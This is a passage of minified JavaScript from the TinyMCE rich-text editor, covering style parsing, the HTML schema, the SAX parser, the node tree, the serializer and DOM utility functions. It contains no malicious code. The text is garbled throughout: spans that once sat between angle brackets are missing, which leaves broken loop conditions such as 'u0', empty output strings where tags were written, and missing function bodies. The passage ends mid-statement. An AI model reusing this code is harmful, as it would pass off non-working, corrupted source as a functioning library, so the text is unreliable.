y[C+"-top"+F];delete y[C+"-right"+F];delete y[C+"-bottom"+F];delete y[C+"-left"+F]}function t(B){var C=y[B],A;if(!C||C.indexOf(" ")<0){return}C=C.split(" ");A=C.length;while(A--){if(C[A]!==C[0]){return false}}y[B]=C[0];return true}function z(C,B,A,D){if(!t(B)){return}if(!t(A)){return}if(!t(D)){return}y[C]=y[B]+" "+y[A]+" "+y[D];delete y[B];delete y[A];delete y[D]}function s(A){q=true;return a[A]}function i(B,A){if(q){B=B.replace(/\uFEFF[0-9]/g,function(C){return a[C]})}if(!A){B=B.replace(/\\([\'\";:])/g,"$1")}return B}if(r){r=r.replace(/\\[\"\';:\uFEFF]/g,s).replace(/\"[^\"]+\"|\'[^\']+\'/g,function(A){return A.replace(/[;:]/g,s)});while(p=b.exec(r)){n=p[1].replace(l,"").toLowerCase();v=p[2].replace(l,"");if(n&&v.length>0){if(n==="font-weight"&&v==="700"){v="bold"}else{if(n==="color"||n==="background-color"){v=v.toLowerCase()}}v=v.replace(k,c);v=v.replace(h,function(B,A,E,D,F,C){F=F||C;if(F){F=i(F);return"'"+F.replace(/\'/g,"\\'")+"'"}A=i(A||E||D);if(u){A=u.call(x,A,"style")}return"url('"+A.replace(/\'/g,"\\'")+"')"});y[n]=q?i(v,true):v}b.lastIndex=p.index+p[0].length}o("border","");o("border","-width");o("border","-color");o("border","-style");o("padding","");o("margin","");z("border","border-width","border-style","border-color");if(y.border==="medium none"){delete y.border}}return y},serialize:function(p,r){var o="",n,q;function i(t){var x,u,s,v;x=f.styles[t];if(x){for(u=0,s=x.length;u0){o+=(o.length>0?" ":"")+t+": "+v+";"}}}}if(r&&f&&f.styles){i("*");i(r)}else{for(n in p){q=p[n];if(q!==e&&q.length>0){o+=(o.length>0?" ":"")+n+": "+q+";"}}}return o}}};(function(m){var h={},j,l,g,f,c={},b,e,d=m.makeMap,k=m.each;function i(o,n){return o.split(n||",")}function a(r,q){var o,p={};function n(s){return s.replace(/[A-Z]+/g,function(t){return n(r[t])})}for(o in r){if(r.hasOwnProperty(o)){r[o]=n(r[o])}}n(q).replace(/#/g,"#text").replace(/(\w+)\[([^\]]+)\]\[([^\]]*)\]/g,function(v,t,s,u){s=i(s,"|");p[t]={attributes:d(s),attributesOrder:s,children:d(u,"|",{"#comment":{}})}});return p}l="h1,h2,h3,h4,h5,h6,hr,p,div,address,pre,form,table,tbody,thead,tfoot,th,tr,td,li,ol,ul,caption,blockquote,center,dl,dt,dd,dir,fieldset,noscript,menu,isindex,samp,header,footer,article,section,hgroup";l=d(l,",",d(l.toUpperCase()));h=a({Z:"H|K|N|O|P",Y:"X|form|R|Q",ZG:"E|span|width|align|char|charoff|valign",X:"p|T|div|U|W|isindex|fieldset|table",ZF:"E|align|char|charoff|valign",W:"pre|hr|blockquote|address|center|noframes",ZE:"abbr|axis|headers|scope|rowspan|colspan|align|char|charoff|valign|nowrap|bgcolor|width|height",ZD:"[E][S]",U:"ul|ol|dl|menu|dir",ZC:"p|Y|div|U|W|table|br|span|bdo|object|applet|img|map|K|N|Q",T:"h1|h2|h3|h4|h5|h6",ZB:"X|S|Q",S:"R|P",ZA:"a|G|J|M|O|P",R:"a|H|K|N|O",Q:"noscript|P",P:"ins|del|script",O:"input|select|textarea|label|button",N:"M|L",M:"em|strong|dfn|code|q|samp|kbd|var|cite|abbr|acronym",L:"sub|sup",K:"J|I",J:"tt|i|b|u|s|strike",I:"big|small|font|basefont",H:"G|F",G:"br|span|bdo",F:"object|applet|img|map|iframe",E:"A|B|C",D:"accesskey|tabindex|onfocus|onblur",C:"onclick|ondblclick|onmousedown|onmouseup|onmouseover|onmousemove|onmouseout|onkeypress|onkeydown|onkeyup",B:"lang|xml:lang|dir",A:"id|class|style|title"},"script[id|charset|type|language|src|defer|xml:space][]style[B|id|type|media|title|xml:space][]object[E|declare|classid|codebase|data|type|codetype|archive|standby|width|height|usemap|name|tabindex|align|border|hspace|vspace][#|param|Y]param[id|name|value|valuetype|type][]p[E|align][#|S]a[E|D|charset|type|name|href|hreflang|rel|rev|shape|coords|target][#|Z]br[A|clear][]span[E][#|S]bdo[A|C|B][#|S]applet[A|codebase|archive|code|object|alt|name|width|height|align|hspace|vspace][#|param|Y]h1[E|align][#|S]img[E|src|alt|name|longdesc|width|height|usemap|ismap|align|border|hspace|vspace][]map[B|C|A|name][X|form|Q|area]h2[E|align][#|S]iframe[A|longdesc|name|src|frameborder|marginwidth|marginheight|scrolling|align|width|height][#|Y]h3[E|align][#|S]tt[E][#|S]i[E][#|S]b[E][#|S]u[E][#|S]s[E][#|S]strike[E][#|S]big[E][#|S]small[E][#|S]font[A|B|size|color|face][#|S]basefont[id|size|color|face][]em[E][#|S]strong[E][#|S]dfn[E][#|S]code[E][#|S]q[E|cite][#|S]samp[E][#|S]kbd[E][#|S]var[E][#|S]cite[E][#|S]abbr[E][#|S]acronym[E][#|S]sub[E][#|S]sup[E][#|S]input[E|D|type|name|value|checked|disabled|readonly|size|maxlength|src|alt|usemap|onselect|onchange|accept|align][]select[E|name|size|multiple|disabled|tabindex|onfocus|onblur|onchange][optgroup|option]optgroup[E|disabled|label][option]option[E|selected|disabled|label|value][]textarea[E|D|name|rows|cols|disabled|readonly|onselect|onchange][]label[E|for|accesskey|onfocus|onblur][#|S]button[E|D|name|value|type|disabled][#|p|T|div|U|W|table|G|object|applet|img|map|K|N|Q]h4[E|align][#|S]ins[E|cite|datetime][#|Y]h5[E|align][#|S]del[E|cite|datetime][#|Y]h6[E|align][#|S]div[E|align][#|Y]ul[E|type|compact][li]li[E|type|value][#|Y]ol[E|type|compact|start][li]dl[E|compact][dt|dd]dt[E][#|S]dd[E][#|Y]menu[E|compact][li]dir[E|compact][li]pre[E|width|xml:space][#|ZA]hr[E|align|noshade|size|width][]blockquote[E|cite][#|Y]address[E][#|S|p]center[E][#|Y]noframes[E][#|Y]isindex[A|B|prompt][]fieldset[E][#|legend|Y]legend[E|accesskey|align][#|S]table[E|summary|width|border|frame|rules|cellspacing|cellpadding|align|bgcolor][caption|col|colgroup|thead|tfoot|tbody|tr]caption[E|align][#|S]col[ZG][]colgroup[ZG][col]thead[ZF][tr]tr[ZF|bgcolor][th|td]th[E|ZE][#|Y]form[E|action|method|name|enctype|onsubmit|onreset|accept|accept-charset|target][#|X|R|Q]noscript[E][#|Y]td[E|ZE][#|Y]tfoot[ZF][tr]tbody[ZF][tr]area[E|D|shape|coords|href|nohref|alt|target][]base[id|href|target][]body[E|onload|onunload|background|bgcolor|text|link|vlink|alink][#|Y]");j=d("checked,compact,declare,defer,disabled,ismap,multiple,nohref,noresize,noshade,nowrap,readonly,selected,autoplay,loop,controls");g=d("area,base,basefont,br,col,frame,hr,img,input,isindex,link,meta,param,embed,source");f=m.extend(d("td,th,iframe,video,audio,object"),g);b=d("pre,script,style,textarea");e=d("colgroup,dd,dt,li,options,p,td,tfoot,th,thead,tr");m.html.Schema=function(r){var A=this,n={},o={},y=[],q,p;r=r||{};if(r.verify_html===false){r.valid_elements="*[*]"}if(r.valid_styles){q={};k(r.valid_styles,function(C,B){q[B]=m.explode(C)})}p=r.whitespace_elements?d(r.whitespace_elements):b;function z(B){return new RegExp("^"+B.replace(/([?+*])/g,".$1")+"$")}function t(I){var H,D,W,S,X,C,F,R,U,N,V,Z,L,G,T,B,P,E,Y,aa,M,Q,K=/^([#+-])?([^\[\/]+)(?:\/([^\[]+))?(?:\[([^\]]+)\])?$/,O=/^([!\-])?(\w+::\w+|[^=:<]+)?(?:([=:<])(.*))?$/,J=/[*?+]/;if(I){I=i(I);if(n["@"]){P=n["@"].attributes;E=n["@"].attributesOrder}for(H=0,D=I.length;H=0){for(T=z.length-1;T>=U;T--){S=z[T];if(S.valid){n.end(S.name)}}z.length=U}}l=new RegExp("<(?:(?:!--([\\w\\W]*?)-->)|(?:!\\[CDATA\\[([\\w\\W]*?)\\]\\]>)|(?:!DOCTYPE([\\w\\W]*?)>)|(?:\\?([^\\s\\/<>]+) ?([\\w\\W]*?)[?/]>)|(?:\\/([^>]+)>)|(?:([^\\s\\/<>]+)((?:\\s+[^\"'>]+(?:(?:\"[^\"]*\")|(?:'[^']*')|[^>]*))*|\\/)>))","g");C=/([\w:\-]+)(?:\s*=\s*(?:(?:\"((?:\\.|[^\"])*)\")|(?:\'((?:\\.|[^\'])*)\')|([^>\s]+)))?/g;J={script:/<\/script[^>]*>/gi,style:/<\/style[^>]*>/gi,noscript:/<\/noscript[^>]*>/gi};L=e.getShortEndedElements();I=e.getSelfClosingElements();G=e.getBoolAttrs();u=c.validate;r=c.remove_internals;x=c.fix_self_closing;p=a.isIE;o=/^:/;while(g=l.exec(D)){if(F0&&z[z.length-1].name===H){t(H)}if(!u||(m=e.getElementRule(H))){k=true;if(u){O=m.attributes;E=m.attributePatterns}if(Q=g[8]){y=Q.indexOf("data-mce-type")!==-1;if(y&&r){k=false}M=[];M.map={};Q.replace(C,function(T,S,X,W,V){var Y,U;S=S.toLowerCase();X=S in G?S:j(X||W||V||"");if(u&&!y&&S.indexOf("data-")!==0){Y=O[S];if(!Y&&E){U=E.length;while(U--){Y=E[U];if(Y.pattern.test(S)){break}}if(U===-1){Y=null}}if(!Y){return}if(Y.validValues&&!(X in Y.validValues)){return}}M.map[S]=X;M.push({name:S,value:X})})}else{M=[];M.map={}}if(u&&!y){R=m.attributesRequired;K=m.attributesDefault;f=m.attributesForced;if(f){P=f.length;while(P--){s=f[P];q=s.name;h=s.value;if(h==="{$uid}"){h="mce_"+v++}M.map[q]=h;M.push({name:q,value:h})}}if(K){P=K.length;while(P--){s=K[P];q=s.name;if(!(q in M.map)){h=s.value;if(h==="{$uid}"){h="mce_"+v++}M.map[q]=h;M.push({name:q,value:h})}}}if(R){P=R.length;while(P--){if(R[P] in M.map){break}}if(P===-1){k=false}}if(M.map["data-mce-bogus"]){k=false}}if(k){n.start(H,M,N)}}else{k=false}if(A=J[H]){A.lastIndex=F=g.index+g[0].length;if(g=A.exec(D)){if(k){B=D.substr(F,g.index-F)}F=g.index+g[0].length}else{B=D.substr(F);F=D.length}if(k&&B.length>0){n.text(B,true)}if(k){n.end(H)}l.lastIndex=F;continue}if(!N){if(!Q||Q.indexOf("/")!=Q.length-1){z.push({name:H,valid:k})}else{if(k){n.end(H)}}}}else{if(H=g[1]){n.comment(H)}else{if(H=g[2]){n.cdata(H)}else{if(H=g[3]){n.doctype(H)}else{if(H=g[4]){n.pi(H,g[5])}}}}}}F=g.index+g[0].length}if(F=0;P--){H=z[P];if(H.valid){n.end(H.name)}}}}})(tinymce);(function(d){var c=/^[ \t\r\n]*$/,e={"#text":3,"#comment":8,"#cdata":4,"#pi":7,"#doctype":10,"#document-fragment":11};function a(k,l,j){var i,h,f=j?"lastChild":"firstChild",g=j?"prev":"next";if(k[f]){return k[f]}if(k!==l){i=k[g];if(i){return i}for(h=k.parent;h&&h!==l;h=h.parent){i=h[g];if(i){return i}}}}function b(f,g){this.name=f;this.type=g;if(g===1){this.attributes=[];this.attributes.map={}}}d.extend(b.prototype,{replace:function(g){var f=this;if(g.parent){g.remove()}f.insert(g,f);f.remove();return f},attr:function(h,l){var f=this,g,j,k;if(typeof h!=="string"){for(j in h){f.attr(j,h[j])}return f}if(g=f.attributes){if(l!==k){if(l===null){if(h in g.map){delete g.map[h];j=g.length;while(j--){if(g[j].name===h){g=g.splice(j,1);return f}}}return f}if(h in g.map){j=g.length;while(j--){if(g[j].name===h){g[j].value=l;break}}}else{g.push({name:h,value:l})}g.map[h]=l;return f}else{return g.map[h]}}},clone:function(){var g=this,n=new b(g.name,g.type),h,f,m,j,k;if(m=g.attributes){k=[];k.map={};for(h=0,f=m.length;h1){v.reverse();z=n=f.filterNode(v[0].clone());for(t=0;t0){N.value=l;N=N.prev}else{L=N.prev;N.remove();N=L}}}n=new b.html.SaxParser({validate:y,fix_self_closing:!y,cdata:function(l){A.append(I("#cdata",4)).value=l},text:function(M,l){var L;if(!s[A.name]){M=M.replace(k," ");if(A.lastChild&&o[A.lastChild.name]){M=M.replace(D,"")}}if(M.length!==0){L=I("#text",3);L.raw=!!l;A.append(L).value=M}},comment:function(l){A.append(I("#comment",8)).value=l},pi:function(l,L){A.append(I(l,7)).value=L;G(A)},doctype:function(L){var l;l=A.append(I("#doctype",10));l.value=L;G(A)},start:function(l,T,M){var R,O,N,L,P,U,S,Q;N=y?h.getElementRule(l):{};if(N){R=I(N.outputName||l,1);R.attributes=T;R.shortEnded=M;A.append(R);Q=p[A.name];if(Q&&p[R.name]&&!Q[R.name]){J.push(R)}O=d.length;while(O--){P=d[O].name;if(P in T.map){E=c[P];if(E){E.push(R)}else{c[P]=[R]}}}if(o[l]){G(R)}if(!M){A=R}}},end:function(l){var P,M,O,L,N;M=y?h.getElementRule(l):{};if(M){if(o[l]){if(!s[A.name]){for(P=A.firstChild;P&&P.type===3;){O=P.value.replace(D,"");if(O.length>0){P.value=O;P=P.next}else{L=P.next;P.remove();P=L}}for(P=A.lastChild;P&&P.type===3;){O=P.value.replace(t,"");if(O.length>0){P.value=O;P=P.prev}else{L=P.prev;P.remove();P=L}}}P=A.prev;if(P&&P.type===3){O=P.value.replace(D,"");if(O.length>0){P.value=O}else{P.remove()}}}if(M.removeEmpty||M.paddEmpty){if(A.isEmpty(u)){if(M.paddEmpty){A.empty().append(new a("#text","3")).value="\u00a0"}else{if(!A.attributes.map.name){N=A.parent;A.empty().remove();A=N;return}}}}A=A.parent}}},h);H=A=new a(m.context||g.root_name,11);n.parse(v);if(y&&J.length){if(!m.context){j(J)}else{m.invalid=true}}if(q&&H.name=="body"){F()}if(!m.invalid){for(K in i){E=e[K];z=i[K];x=z.length;while(x--){if(!z[x].parent){z.splice(x,1)}}for(C=0,B=E.length;C0){o=c[c.length-1];if(o.length>0&&o!=="\n"){c.push("\n")}}c.push("<",m);if(k){for(n=0,j=k.length;n0){o=c[c.length-1];if(o.length>0&&o!=="\n"){c.push("\n")}}},end:function(h){var i;c.push("");if(a&&d[h]&&c.length>0){i=c[c.length-1];if(i.length>0&&i!=="\n"){c.push("\n")}}},text:function(i,h){if(i.length>0){c[c.length]=h?i:f(i)}},cdata:function(h){c.push("")},comment:function(h){c.push("")},pi:function(h,i){if(i){c.push("")}else{c.push("")}if(a){c.push("\n")}},doctype:function(h){c.push("",a?"\n":"")},reset:function(){c.length=0},getContent:function(){return c.join("").replace(/\n$/,"")}}};(function(a){a.html.Serializer=function(c,d){var b=this,e=new a.html.Writer(c);c=c||{};c.validate="validate" in c?c.validate:true;b.schema=d=d||new a.html.Schema();b.writer=e;b.serialize=function(h){var g,i;i=c.validate;g={3:function(k,j){e.text(k.value,k.raw)},8:function(j){e.comment(j.value)},7:function(j){e.pi(j.name,j.value)},10:function(j){e.doctype(j.value)},4:function(j){e.cdata(j.value)},11:function(j){if((j=j.firstChild)){do{f(j)}while(j=j.next)}}};e.reset();function f(k){var t=g[k.type],j,o,s,r,p,u,n,m,q;if(!t){j=k.name;o=k.shortEnded;s=k.attributes;if(i&&s&&s.length>1){u=[];u.map={};q=d.getElementRule(k.name);for(n=0,m=q.attributesOrder.length;n=8;l.boxModel=!h.isIE||o.compatMode=="CSS1Compat"||l.stdMode;l.hasOuterHTML="outerHTML" in o.createElement("a");l.settings=m=h.extend({keep_values:false,hex_colors:1},m);l.schema=m.schema;l.styles=new h.html.Styles({url_converter:m.url_converter,url_converter_scope:m.url_converter_scope},m.schema);if(h.isIE6){try{o.execCommand("BackgroundImageCache",false,true)}catch(n){l.cssFlicker=true}}if(b&&m.schema){("abbr article aside audio canvas details figcaption figure footer header hgroup mark menu meter nav output progress section summary time video").replace(/\w+/g,function(p){o.createElement(p)});for(k in m.schema.getCustomElements()){o.createElement(k)}}h.addUnload(l.destroy,l)},getRoot:function(){var j=this,k=j.settings;return(k&&j.get(k.root_element))||j.doc.body},getViewPort:function(k){var l,j;k=!k?this.win:k;l=k.document;j=this.boxModel?l.documentElement:l.body;return{x:k.pageXOffset||j.scrollLeft,y:k.pageYOffset||j.scrollTop,w:k.innerWidth||j.clientWidth,h:k.innerHeight||j.clientHeight}},getRect:function(m){var l,j=this,k;m=j.get(m);l=j.getPos(m);k=j.getSize(m);return{x:l.x,y:l.y,w:k.w,h:k.h}},getSize:function(m){var k=this,j,l;m=k.get(m);j=k.getStyle(m,"width");l=k.getStyle(m,"height");if(j.indexOf("px")===-1){j=0}if(l.indexOf("px")===-1){l=0}return{w:parseInt(j)||m.offsetWidth||m.clientWidth,h:parseInt(l)||m.offsetHeight||m.clientHeight}},getParent:function(l,k,j){return this.getParents(l,k,j,false)},getParents:function(u,p,l,s){var k=this,j,m=k.settings,q=[];u=k.get(u);s=s===undefined;if(m.strict_root){l=l||k.getRoot()}if(e(p,"string")){j=p;if(p==="*"){p=function(o){return o.nodeType==1}}else{p=function(o){return k.is(o,j)}}}while(u){if(u==l||!u.nodeType||u.nodeType===9){break}if(!p||p(u)){if(s){q.push(u)}else{return u}}u=u.parentNode}return s?q:null},get:function(j){var k;if(j&&this.doc&&typeof(j)=="string"){k=j;j=this.doc.getElementById(j);if(j&&j.id!==k){return this.doc.getElementsByName(k)[1]}}return j},getNext:function(k,j){return this._findSib(k,j,"nextSibling")},getPrev:function(k,j){return this._findSib(k,j,"previousSibling")},select:function(l,k){var j=this;return h.dom.Sizzle(l,j.get(k)||j.get(j.settings.root_element)||j.doc,[])},is:function(l,j){var k;if(l.length===undefined){if(j==="*"){return l.nodeType==1}if(a.test(j)){j=j.toLowerCase().split(/,/);l=l.nodeName.toLowerCase();for(k=j.length-1;k>=0;k--){if(j[k]==l){return true}}return false}}return h.dom.Sizzle.matches(j,l.nodeType?[l]:l).length>0},add:function(m,q,j,l,o){var k=this;return this.run(m,function(s){var r,n;r=e(q,"string")?k.doc.createElement(q):q;k.setAttribs(r,j);if(l){if(l.nodeType){r.appendChild(l)}else{k.setHTML(r,l)}}return !o?s.appendChild(r):r})},create:function(l,j,k){return this.add(this.doc.createElement(l),l,j,k,1)},createHTML:function(r,j,p){var q="",m=this,l;q+="<"+r;for(l in j){if(j.hasOwnProperty(l)){q+=" "+l+'="'+m.encode(j[l])+'"'}}if(typeof(p)!="undefined"){return q+">"+p+""}return q+" />"},remove:function(j,k){return this.run(j,function(m){var n,l=m.parentNode;if(!l){return null}if(k){while(n=m.firstChild){if(!h.isIE||n.nodeType!==3||n.nodeValue){l.insertBefore(n,m)}else{m.removeChild(n)}}}return l.removeChild(m)})},setStyle:function(m,j,k){var l=this;return l.run(m,function(p){var o,n;o=p.style;j=j.replace(/-(\D)/g,function(r,q){return q.toUpperCase()});if(l.pixelStyles.test(j)&&(h.is(k,"number")||/^[\-0-9\.]+$/.test(k))){k+="px"}switch(j){case"opacity":if(b){o.filter=k===""?"":"alpha(opacity="+(k*100)+")";if(!m.currentStyle||!m.currentStyle.hasLayout){o.display="inline-block"}}o[j]=o["-moz-opacity"]=o["-khtml-opacity"]=k||"";break;case"float":b?o.styleFloat=k:o.cssFloat=k;break;default:o[j]=k||""}if(l.settings.update_styles){l.setAttrib(p,"data-mce-style")}})},getStyle:function(m,j,l){m=this.get(m);if(!m){return}if(this.doc.defaultView&&l){j=j.replace(/[A-Z]/g,function(n){return"-"+n});try{return this.doc.defaultView.getComputedStyle(m,null).getPropertyValue(j)}catch(k){return null}}j=j.replace(/-(\D)/g,function(o,n){return n.toUpperCase()});if(j=="float"){j=b?"styleFloat":"cssFloat"}if(m.currentStyle&&l){return m.currentStyle[j]}return m.style?m.style[j]:undefined},setStyles:function(m,n){var k=this,l=k.settings,j;j=l.update_styles;l.update_styles=0;f(n,function(o,p){k.setStyle(m,p,o)});l.update_styles=j;if(l.update_styles){k.setAttrib(m,l.cssText)}},removeAllAttribs:function(j){return this.run(j,function(m){var l,k=m.attributes;for(l=k.length-1;l>=0;l--){m.removeAttributeNode(k.item(l))}})},setAttrib:function(l,m,j){var k=this;if(!l||!m){return}if(k.settings.strict){m=m.toLowerCase()}return this.run(l,function(q){var p=k.settings;var n=q.getAttribute(m);if(j!==null){switch(m){case"style":if(!e(j,"string")){f(j,function(r,s){k.setStyle(q,s,r)});return}if(p.keep_values){if(j&&!k._isRes(j)){q.setAttribute("data-mce-style",j,2)}else{q.removeAttribute("data-mce-style",2)}}q.style.cssText=j;break;case"class":q.className=j||"";break;case"src":case"href":if(p.keep_values){if(p.url_converter){j=p.url_converter.call(p.url_converter_scope||k,j,m,q)}k.setAttrib(q,"data-mce-"+m,j,2)}break;case"shape":q.setAttribute("data-mce-style",j);break}}if(e(j)&&j!==null&&j.length!==0){q.setAttribute(m,""+j,2)}else{q.removeAttribute(m,2)}if(tinyMCE.activeEditor&&n!=j){var o=tinyMCE.activeEditor;o.onSetAttrib.dispatch(o,q,m,j)}})},setAttribs:function(k,l){var j=this;return this.run(k,function(m){f(l,function(o,p){j.setAttrib(m,p,o)})})},getAttrib:function(o,p,l){var j,k=this,m;o=k.get(o);if(!o||o.nodeType!==1){return l===m?false:l}if(!e(l)){l=""}if(/^(src|href|style|coords|shape)$/.test(p)){j=o.getAttribute("data-mce-"+p);if(j){return j}}if(b&&k.props[p]){j=o[k.props[p]];j=j&&j.nodeValue?j.nodeValue:j}if(!j){j=o.getAttribute(p,2)}if(/^(checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)$/.test(p)){if(o[k.props[p]]===true&&j===""){return p}return j?p:""}if(o.nodeName==="FORM"&&o.getAttributeNode(p)){return o.getAttributeNode(p).nodeValue}if(p==="style"){j=j||o.style.cssText;if(j){j=k.serializeStyle(k.parseStyle(j),o.nodeName);if(k.settings.keep_values&&!k._isRes(j)){o.setAttribute("data-mce-style",j)}}}if(d&&p==="class"&&j){j=j.replace(/(apple|webkit)\-[a-z\-]+/gi,"")}if(b){switch(p){case"rowspan":case"colspan":if(j===1){j=""}break;case"size":if(j==="+0"||j===20||j===0){j=""}break;case"width":case"height":case"vspace":case"checked":case"disabled":case"readonly":if(j===0){j=""}break;case"hspace":if(j===-1){j=""}break;case"maxlength":case"tabindex":if(j===32768||j===2147483647||j==="32768"){j=""}break;case"multiple":case"compact":case"noshade":case"nowrap":if(j===65535){return p}return l;case"shape":j=j.toLowerCase();break;default:if(p.indexOf("on")===0&&j){j=h._replace(/^function\s+\w+\(\)\s+\{\s+(.*)\s+\}$/,"$1",""+j)}}}return(j!==m&&j!==null&&j!=="")?""+j:l},getPos:function(s,m){var k=this,j=0,q=0,o,p=k.doc,l;s=k.get(s);m=m||p.body;if(s){if(s.getBoundingClientRect){s=s.getBoundingClientRect();o=k.boxModel?p.documentElement:p.body;j=s.left+(p.documentElement.scrollLeft||p.body.scrollLeft)-o.clientTop;q=s.top+(p.documentElement.scrollTop||p.body.scrollTop)-o.clientLeft;return{x:j,y:q}}l=s;while(l&&l!=m&&l.nodeType){j+=l.offsetLeft||0;q+=l.offsetTop||0;l=l.offsetParent}l=s.parentNode;while(l&&l!=m&&l.nodeType){j-=l.scrollLeft||0;q-=l.scrollTop||0;l=l.parentNode}}return{x:j,y:q}},parseStyle:function(j){return this.styles.parse(j)},serializeStyle:function(k,j){return this.styles.serialize(k,j)},loadCSS:function(j){var l=this,m=l.doc,k;if(!j){j=""}k=l.select("head")[0];f(j.split(","),function(n){var o;if(l.files[n]){return}l.files[n]=true;o=l.create("link",{rel:"stylesheet",href:h._addVer(n)});if(b&&m.documentMode&&m.recalc){o.onload=function(){if(m.recalc){m.recalc()}o.onload=null}}k.appendChild(o)})},addClass:function(j,k){return this.run(j,function(l){var m;if(!k){return 0}if(this.hasClass(l,k)){return l.className}m=this.removeClass(l,k);return l.className=(m!=""?(m+" "):"")+k})},removeClass:function(l,m){var j=this,k;return j.run(l,function(o){var n;if(j.hasClass(o,m)){if(!k){k=new RegExp("(^|\\s+)"+m+"(\\s+|$)","g")}n=o.className.replace(k," ");n=h.trim(n!=" "?n:"");o.className=n;if(!n){o.removeAttribute("class");o.removeAttribute("className")}return n}return o.className})},hasClass:function(k,j){k=this.get(k);if(!k||!j){return false}return(" "+k.className+" ").indexOf(" "+j+" ")!==-1},show:function(j){return this.setStyle(j,"display","block")},hide:function(j){return this.setStyle(j,"display","none")},isHidden:function(j){j=this.get(j);return !j||j.style.display=="none"||this.getStyle(j,"display")=="none"},uniqueId:function(j){return(!j?"mce_":j)+(this.counter++)},setHTML:function(l,k){var j=this;return j.run(l,function(n){if(b){while(n.firstChild){n.removeChild(n.firstChild)}try{n.innerHTML="
    "+k;n.removeChild(n.firstChild)}catch(m){n=j.create("div");n.innerHTML="
    "+k;f(n.childNodes,function(p,o){if(o){n.appendChild(p)}})}}else{n.innerHTML=k}return k})},getOuterHTML:function(l){var k,j=this;l=j.get(l);if(!l){return null}if(l.nodeType===1&&j.hasOuterHTML){return l.outerHTML}k=(l.ownerDocument||j.doc).createElement("body");k.appendChild(l.cloneNode(true));return k.innerHTML},setOuterHTML:function(m,k,n){var j=this;function l(p,o,r){var s,q;q=r.createElement("body");q.innerHTML=o;s=q.lastChild;while(s){j.insertAfter(s.cloneNode(true),p);s=s.previousSibling}j.remove(p)}return this.run(m,function(p){p=j.get(p);if(p.nodeType==1){n=n||p.ownerDocument||j.doc;if(b){try{if(b&&p.nodeType==1){p.outerHTML=k}else{l(p,k,n)}}catch(o){l(p,k,n)}}else{l(p,k,n)}}})},decode:c.decode,encode:c.encodeAllRaw,insertAfter:function(j,k){k=this.get(k);return this.run(j,function(m){var l,n;l=k.parentNode;n=k.nextSibling;if(n){l.insertBefore(m,n)}else{l.appendChild(m)}return m})},isBlock:function(k){var j=k.nodeType;if(j){return !!(j===1&&g[k.nodeName])}return !!g[k]},replace:function(p,m,j){var l=this;if(e(m,"array")){p=p.cloneNode(true)}return l.run(m,function(k){if(j){f(h.grep(k.childNodes),function(n){p.appendChild(n)})}return k.parentNode.replaceChild(p,k)})},rename:function(m,j){var l=this,k;if(m.nodeName!=j.toUpperCase()){k=l.create(j);f(l.getAttribs(m),function(n){l.setAttrib(k,n.nodeName,l.getAttrib(m,n.nodeName))});l.replace(k,m,1)}return k||m},findCommonAncestor:function(l,j){var m=l,k;while(m){k=j;while(k&&m!=k){k=k.parentNode}if(m==k){break}m=m.parentNode}if(!m&&l.ownerDocument){return l.ownerDocument.documentElement}return m},toHex:function(j){var l=/^\s*rgb\s*?\(\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?\)\s*$/i.exec(j);function k(m){m=parseInt(m).toString(16);return m.length>1?m:"0"+m}if(l){j="#"+k(l[1])+k(l[2])+k(l[3]);return j}return j},getClasses:function(){var n=this,j=[],m,o={},p=n.settings.class_filter,l;if(n.classes){return n.classes}function q(r){f(r.imports,function(s){q(s)});f(r.cssRules||r.rules,function(s){switch(s.type||1){case 1:if(s.selectorText){f(s.selectorText.split(","),function(t){t=t.replace(/^\s*|\s*$|^\s\./g,"");if(/\.mce/.test(t)||!/\.[\w\-]+$/.test(t)){return}l=t;t=h._replace(/.*\.([a-z0-9_\-]+).*/i,"$1",t);if(p&&!(t=p(t,l))){return}if(!o[t]){j.push({"class":t});o[t]=1}})}break;case 3:q(s.styleSheet);break}})}try{f(n.doc.styleSheets,q)}catch(k){}if(j.length>0){n.classes=j}return j},run:function(m,l,k){var j=this,n;if(j.doc&&typeof(m)==="string"){m=j.get(m)}if(!m){return false}k=k||this;if(!m.nodeType&&(m.length||m.length===0)){n=[];f(m,function(p,o){if(p){if(typeof(p)=="string"){p=j.doc.getElementById(p)}n.push(l.call(k,p,o))}});return n}return l.call(k,m)},getAttribs:function(k){var j;k=this.get(k);if(!k){return[]}if(b){j=[];if(k.nodeName=="OBJECT"){return k.attributes}if(k.nodeName==="OPTION"&&this.getAttrib(k,"selected")){j.push({specified:1,nodeName:"selected"})}k.cloneNode(false).outerHTML.replace(/<\/?[\w:\-]+ ?|=[\"][^\"]+\"|=\'[^\']+\'|=[\w\-]+|>/gi,"").replace(/[\w:\-]+/gi,function(l){j.push({specified:1,nodeName:l})});return j}return k.attributes},isEmpty:function(m,k){var r=this,o,n,q,j,l,p;m=m.firstChild;if(m){j=new h.dom.TreeWalker(m);k=k||r.schema?r.schema.getNonEmptyElements():null;do{q=m.nodeType;if(q===1){if(m.getAttribute("data-mce-bogus")){continue}l=m.nodeName.toLowerCase();if(k&&k[l]){p=m.parentNode;if(l==="br"&&r.isBlock(p)&&p.firstChild===m&&p.lastChild===m){continue}return false}n=r.getAttribs(m);o=m.attributes.length;while(o--){l=m.attributes[o].nodeName;if(l==="name"||l==="data-mce-bookmark"){return false}}}if(q==8){return false}if((q===3&&!i.test(m.nodeValue))){return false}}while(m=j.next())}return true},destroy:function(k){var j=this;if(j.events){j.events.destroy()}j.win=j.doc=j.root=j.events=null;if(!k){h.removeUnload(j.destroy)}},createRng:function(){var j=this.doc;return j.createRange?j.createRange():new h.dom.Range(this)},nodeIndex:function(n,o){var j=0,l,m,k;if(n){for(l=n.nodeType,n=n.previousSibling,m=n;n;n=n.previousSibling){k=n.nodeType;if(o&&k==3){if(k==l||!n.nodeValue.length){continue}}j++;l=k}}return j},split:function(n,m,q){var s=this,j=s.createRng(),o,l,p;function k(x){var u,t=x.childNodes,v=x.nodeType;function y(B){var A=B.previousSibling&&B.previousSibling.nodeName=="SPAN";var z=B.nextSibling&&B.nextSibling.nodeName=="SPAN";return A&&z}if(v==1&&x.getAttribute("data-mce-type")=="bookmark"){return}for(u=t.length-1;u>=0;u--){k(t[u])}if(v!=9){if(v==3&&x.nodeValue.length>0){var 